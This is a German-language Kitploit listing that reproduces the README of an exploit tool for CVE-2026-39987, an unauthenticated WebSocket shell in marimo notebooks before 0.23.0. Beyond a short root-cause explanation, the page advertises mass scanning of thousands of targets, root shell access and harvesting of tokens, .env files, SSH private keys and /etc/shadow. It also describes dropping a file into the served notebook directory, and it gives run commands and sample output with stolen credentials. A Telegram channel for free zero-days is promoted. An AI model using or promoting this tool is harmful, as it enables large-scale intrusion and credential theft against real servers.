Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39987 — marimo ist ein reaktives Python-Notebook. Vor Version 0.23.0 weist Marimo eine Pre-Auth-RCE-Schwachstelle auf. | Kitploit
Tools/GitHubGitHub/nxploited/cve-2026-39987
Privilege EscalationExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstestsRed TeamingRemote-Access-Tool
GitHubnxploited/cve-2026-39987

CVE-2026-39987

marimo ist ein reaktives Python-Notebook. Vor Version 0.23.0 weist Marimo eine Pre-Auth-RCE-Schwachstelle auf.

Repository anzeigen
113vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39987

marimo ist ein reaktives Python-Notebook. In Versionen vor 0.23.0 weist Marimo eine Pre-Auth-RCE-Schwachstelle auf.

   ___  _        ___     __  __  __  __      ___  __  __  _______
  / (_)(_|   |_// (_)   /  )/  \/  )/       /   \/  |/  |/  \   /
 |       |   |  \__       /|    | /| __       __/\_/|\_/|\__/  / 
 |       |   |  /   -----/ |    |/ |/  \-----   \   |   |/  \ /  
  \___/   \_/   \___/   /___\__//___\__/    \___/   |   |\__//   

CVE-2026-39987

Marimo /terminal/ws — Nicht authentifizierte WebSocket-Pre-Auth-RCE

Massen-Scanner · Vollständige Enumeration · Intelligente Erkennung


Python CVE Severity Type Platform License


Autor: Nxploited  ·  Telegram: @KNxploited


📢 Tritt dem Telegram-Kanal bei für die neuesten kostenlosen Zero-Days & Exploits:

🔗 Nxploited ZeroDay Hub — t.me/KNxploited


📖 Übersicht

CVE-2026-39987 ist eine kritische Pre-Authentication Remote Code Execution (Pre-Auth-RCE)-Schwachstelle, die Marimo betrifft, eine Open-Source-Plattform für reaktive Python-Notebooks.

Der Terminal-WebSocket-Endpunkt /terminal/ws weist keinerlei Authentifizierungsprüfung auf, sodass jeder nicht authentifizierte entfernte Angreifer eine vollständige PTY-Shell erhalten und beliebige Systembefehle mit den Rechten des laufenden Prozesses ausführen kann — häufig root in Container-Umgebungen.

Anders als andere WebSocket-Endpunkte wie /ws, die vor der Annahme von Verbindungen korrekt validate_auth() aufrufen, prüft der /terminal/ws-Endpunkt lediglich den Ausführungsmodus und die Plattformkompatibilität und überspringt die Authentifizierung vollständig.

✅ Behoben in: marimo >= 0.23.0 ❌ Alle Versionen vor 0.23.0 sind verwundbar


🔍 Schwachstellendetails

EigenschaftWert
CVE-IDCVE-2026-39987
Betroffene Softwaremarimo < 0.23.0
SchwachstellenklassePre-Auth-RCE über nicht authentifizierten WebSocket
Betroffener Endpunkt/terminal/ws
AngriffsvektorNetzwerk
Authentifizierung erforderlich❌ Keine
Benutzerinteraktion❌ Keine
Schweregrad🔴 Kritisch
AuswirkungVollständige PTY-Shell · Beliebige Befehlsausführung
Behobene Versionmarimo 0.23.0

🧩 Grundursache

/ws          →  calls validate_auth()  ✅  Authentication enforced
/terminal/ws →  skips validate_auth()  ❌  No authentication

Der /terminal/ws-Handler prüft nur:

  1. Ob der Server im korrekten Modus läuft
  2. Ob die Plattform Terminalemulation unterstützt

Er validiert niemals Sitzungstokens, Cookies oder irgendeine Form von Identität — wodurch jede exponierte Marimo-Instanz zu einer direkten Shell wird.


✨ Funktionen

  • 🔥 Massen-Scanner — Scannt tausende Ziele gleichzeitig mit konfigurierbaren Thread-Pools
  • 🧠 Intelligente Umgebungserkennung — Erkennt automatisch: Marimo · cPanel/WHM · Plesk · Apache · Nginx · Docker · Node.js · Python-Apps
  • 🐚 Vollständiger PTY-Shell-Zugriff — Nicht authentifizierte WebSocket-Shell mit vollständiger Terminalemulation
  • 📓 Notebook-Enumeration — Findet und liest rekursiv alle .py-Marimo-Notebooks
  • 🔑 Token-Harvesting — Extrahiert Marimo-Tokens aus CLI-Argumenten, ENV-Variablen und Logdateien
  • 🗄️ Datenbank-Erkennung — Testet automatisch MySQL · PostgreSQL · Redis · SQLite · DuckDB
  • 🔐 Credential-Extraktion — .env-Dateien · wp-config.php · SSH-Private-Keys · /etc/shadow
  • 📂 Strukturierte Ausgabe pro Ziel — Jedes Ziel erhält ein eigenes, organisiertes Ausgabeverzeichnis
  • 🎨 Rich-Terminal-UI — Professionelle, farbcodierte Oberfläche mit Panels, Fortschrittsverfolgung und Live-Statistiken

⚙️ Anforderungen

Python 3.10 or higher

Abhängigkeiten installieren:

pip install websockets rich requests urllib3

Oder mit der Requirements-Datei:

pip install -r requirements.txt

requirements.txt

websockets
rich
requests
urllib3

🚀 Verwendung

Schritt 1 — Zieldatei vorbereiten

Erstelle eine Datei namens targets.txt mit einem Ziel pro Zeile. Das Tool akzeptiert alle Formate:

192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718

Unterstützte Formate: reine IP · IP:Port · Domain · Domain:Port · http:// · https:// · ws:// · wss://


Schritt 2 — Scanner starten

python3 CVE-2026-39987.py

Schritt 3 — Interaktive Konfiguration

  ▸ Targets file  (default: targets.txt) : targets.txt
  ▸ Threads       (default: 50)          : 100

Thread-Bereich: 1–300. Empfohlen: 50–150 je nach Netzwerk.


🖥️ Ausgabevorschau

Terminal-UI

  ╭──────────────────────────────────────────────────────────╮
  │ CVE-2026-39987  ·  Marimo WebSocket RCE                  │
  │ MASS SCANNER  ·  FULL ENUM  ·  SMART DETECT              │
  │ By: Nxploited  ·  github.com/Nxploited  ·  @KNxploited   │
  ╰──────────────────────────────────────────────────────────╯

  ══════════════ ws://192.168.1.100:2718/terminal/ws ══════════

  ╭────────────────────────────────────────╮
  │  ◈◈◈  ROOT ACCESS  ◈◈◈                │
  │  ws://192.168.1.100:2718               │
  │  uid ▸  uid=0(root)  groups=[root]     │
  ╰────────────────────────────────────────╯

  ──  ENVIRONMENT  ──────────────────────────────────────────
    ✦  Type                  MARIMO
    ◈  Docker                True
    ◈  Marimo version        0.22.1
    ◈  Notebook directory    /app/notebooks

  ──  MARIMO — NOTEBOOKS  ───────────────────────────────────
    ✦  Notebooks             7 found
       ·                     /app/notebooks/analysis.py
       ·                     /app/notebooks/data_pipeline.py
       ·                     /app/notebooks/etl_job.py

  ──  MARIMO — TOKENS  ──────────────────────────────────────
    ✦  Token CLI             secret-token-abc123xyz
    ✦  .marimo.toml          /root/.marimo.toml

  ──  /etc  SENSITIVE  ──────────────────────────────────────
    ✦  /etc/shadow           READABLE  [42 entries]
    ◈  /etc/passwd           [42 lines]
    ◈  /etc/crontab          [12 lines]

  ──  SSH KEYS  ─────────────────────────────────────────────
    ✦  /root/.ssh/id_rsa     FOUND
    ✦  /root/.ssh/id_ed25519 FOUND

  ──  DATABASES  ────────────────────────────────────────────
    ✦  MySQL                 DATABASES LISTED
    ✦  Redis                 PONG — NO AUTH
    ✦  DuckDB files          /app/notebooks/data.duckdb

  ──  SENSITIVE ENV VARS  ───────────────────────────────────
    ✦  DATABASE_URL          postgresql://admin:p4ss@db:5432/prod
    ✦  AWS_SECRET_ACCESS_KEY redacted...

  ──  NX FILE DROP  ──────────────────────────────��──────────
    ✦  Shell write           /app/notebooks/Nx.py
    ✦  HTTP access           http://192.168.1.100:2718/Nx.py

  ──  COMPLETE  ─────────────────────────────────────────────
    ◈  Saved to              nx_output/192.168.1.100_2718/

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

Live-Fortschritt

  ◦ 73/200  ROOT:5  PRIV:11  SHELL:18  FAIL:39  6.3/s

📁 Ausgabestruktur

Tool herunterladen